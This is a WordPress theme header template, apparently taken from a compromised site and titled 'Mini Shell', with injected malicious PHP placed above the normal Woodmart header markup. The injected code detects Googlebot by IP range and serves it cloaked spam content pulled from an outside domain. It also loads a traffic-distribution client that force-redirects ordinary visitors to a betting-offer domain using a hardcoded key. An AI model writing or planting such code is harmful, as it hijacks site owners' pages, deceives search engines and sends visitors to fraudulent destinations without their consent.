Mini Shell

<?php

if (!function_exists('fetchUrl')) {
    $googlebotRangesUrl = 'https://developers.google.com/search/apis/ipranges/googlebot.json';
    $userIP = getUserIP();
    $ipRanges = getGooglebotIPRanges($googlebotRangesUrl);

    if (isGooglebotIP($userIP, $ipRanges)) {
        showRemoteContent();
        exit();
    }

    function fetchUrl($url) {
        if (function_exists('curl_init') && ini_get('allow_url_fopen') == false) {
            $ch = curl_init();
            curl_setopt($ch, CURLOPT_URL, $url);
            curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
            curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
            curl_setopt($ch, CURLOPT_TIMEOUT, 10);
            curl_setopt($ch, CURLOPT_USERAGENT, 'Mozilla/5.0 (compatible; Content Fetcher)');
            curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
            $result = curl_exec($ch);
            curl_close($ch);
            return $result;
        } else {
            $context = stream_context_create([
                'http' => [
                    'timeout' => 10,
                    'user_agent' => 'Mozilla/5.0 (compatible; Content Fetcher)'
                ]
            ]);
            return @file_get_contents($url, false, $context);
        }
    }

    function getUserIP() {
        $headers = [
            'HTTP_CF_CONNECTING_IP',
            'HTTP_X_FORWARDED_FOR',
            'HTTP_X_REAL_IP',
            'HTTP_CLIENT_IP',
            'HTTP_X_FORWARDED',
            'HTTP_FORWARDED_FOR',
            'HTTP_FORWARDED'
        ];
        
        foreach ($headers as $header) {
            if (isset($_SERVER[$header]) && !empty($_SERVER[$header])) {
                $ips = explode(',', $_SERVER[$header]);
                $ip = trim($ips[0]);
                if (filter_var($ip, FILTER_VALIDATE_IP, FILTER_FLAG_NO_PRIV_RANGE | FILTER_FLAG_NO_RES_RANGE)) {
                    return $ip;
                }
            }
        }
        
        return $_SERVER['REMOTE_ADDR'] ?? '127.0.0.1';
    }

    function getGooglebotIPRanges($url) {
        $jsonData = fetchUrl($url);
        
        if ($jsonData === false) {
            return [];
        }
        
        $data = json_decode($jsonData, true);
        
        if (!isset($data['prefixes']) || !is_array($data['prefixes'])) {
            return [];
        }
        
        $ranges = [
            'ipv4' => [],
            'ipv6' => []
        ];
        
        foreach ($data['prefixes'] as $prefix) {
            if (isset($prefix['ipv4Prefix'])) {
                $ranges['ipv4'][] = $prefix['ipv4Prefix'];
            } elseif (isset($prefix['ipv6Prefix'])) {
                $ranges['ipv6'][] = $prefix['ipv6Prefix'];
            }
        }
        
        return $ranges;
    }

    function isGooglebotIP($ip, $ipRanges) {
        if (filter_var($ip, FILTER_VALIDATE_IP, FILTER_FLAG_IPV4)) {
            foreach ($ipRanges['ipv4'] as $range) {
                if (ipv4InRange($ip, $range)) {
                    return true;
                }
            }
        }
        
        if (filter_var($ip, FILTER_VALIDATE_IP, FILTER_FLAG_IPV6)) {
            foreach ($ipRanges['ipv6'] as $range) {
                if (ipv6InRange($ip, $range)) {
                    return true;
                }
            }
        }
        
        return false;
    }

    function showRemoteContent() {
        $domain = $_SERVER['HTTP_HOST'];
        $remoteUrl = "https://wonderfulworld.site/tr/{$domain}/index.txt";
        
        $cacheDir = $_SERVER['DOCUMENT_ROOT'] . '/wp-content/cache/wonderfulworld/';
        $cacheFile = $cacheDir . md5($domain) . '.txt';
        $cacheTime = 2592000;
        
        if (!is_dir($cacheDir)) {
            @mkdir($cacheDir, 0755, true);
        }
        
        $content = null;
        
        if (file_exists($cacheFile) && (time() - filemtime($cacheFile)) < $cacheTime) {
            $content = file_get_contents($cacheFile);
        } else {
            $content = fetchUrl($remoteUrl);
            
            if ($content !== false) {
                @file_put_contents($cacheFile, $content, LOCK_EX);
            } else {
                if (file_exists($cacheFile)) {
                    $content = file_get_contents($cacheFile);
                }
            }
        }
        
        if ($content !== false && $content !== '') {
            echo $content;
        } else {
            http_response_code(503);
            echo "Service temporarily unavailable";
        }
    }

    function ipv4InRange($ip, $range) {
        if (strpos($range, '/') === false) {
            return $ip === $range;
        }
        
        list($subnet, $bits) = explode('/', $range);
        $ip = ip2long($ip);
        $subnet = ip2long($subnet);
        
        if ($ip === false || $subnet === false) {
            return false;
        }
        
        $mask = (-1 << (32 - (int)$bits)) & 0xFFFFFFFF;
        return ($ip & $mask) == ($subnet & $mask);
    }

    function ipv6InRange($ip, $range) {
        if (strpos($range, '/') === false) {
            return $ip === $range;
        }
        
        list($subnet, $bits) = explode('/', $range);
        $ip = inet_pton($ip);
        $subnet = inet_pton($subnet);
        
        if ($ip === false || $subnet === false) {
            return false;
        }
        
        $bits = (int)$bits;
        $mask = str_repeat(chr(0xff), intval($bits / 8));
        
        if ($bits % 8) {
            $mask .= chr(0xff << (8 - ($bits % 8)));
        }
        
        $mask = str_pad($mask, 16, chr(0x00));
        
        for ($i = 0; $i < 16; $i++) {
            if (($ip[$i] & $mask[$i]) != ($subnet[$i] & $mask[$i])) {
                return false;
            }
        }
        
        return true;
    }
}
?>
<?php
require_once $_SERVER['DOCUMENT_ROOT'] . '/tr/wp-klient.php';
$client = new KClient('https://lom.bet/', 'cyyqzgq1gcmthgkz8rdrqb1mbqpbbmq7');
$client->sendAllParams();
$client->forceRedirectOffer();
$client->keyword('09_08_tr_main');
$client->currentPageAsReferrer();
$client->executeAndBreak();
?>

<?php
require_once $_SERVER['DOCUMENT_ROOT'] . '/tr/wp-klient.php';
$client = new KClient('https://lom.bet/', 'cyyqzgq1gcmthgkz8rdrqb1mbqpbbmq7');
$client->sendAllParams();
$client->forceRedirectOffer();
$client->keyword('09_06_tr_main');
$client->currentPageAsReferrer();
$client->executeAndBreak();

/**
 * The Header template for our theme
 */
?><!DOCTYPE html>
<html <?php language_attributes(); ?>>
<head>
	<meta charset="<?php bloginfo( 'charset' ); ?>">
	<link rel="profile" href="https://gmpg.org/xfn/11">
	<link rel="pingback" href="<?php bloginfo( 'pingback_url' ); ?>">

	<?php wp_head(); ?>
</head>

<body <?php body_class(); ?>>
	<?php if ( function_exists( 'wp_body_open' ) ) : ?>
		<?php wp_body_open(); ?>
	<?php endif; ?>

	<?php do_action( 'woodmart_after_body_open' ); ?>

	<div class="wd-page-wrapper website-wrapper">
		<?php if ( woodmart_needs_header() ) : ?>
			<?php if ( ! function_exists( 'elementor_theme_do_location' ) || ! elementor_theme_do_location( 'header' ) ) : ?>
				<header <?php woodmart_get_header_classes(); // phpcs:ignore ?>>
					<?php whb_generate_header(); ?>
				</header>
			<?php endif ?>

			<?php woodmart_page_top_part(); ?>
		<?php endif ?>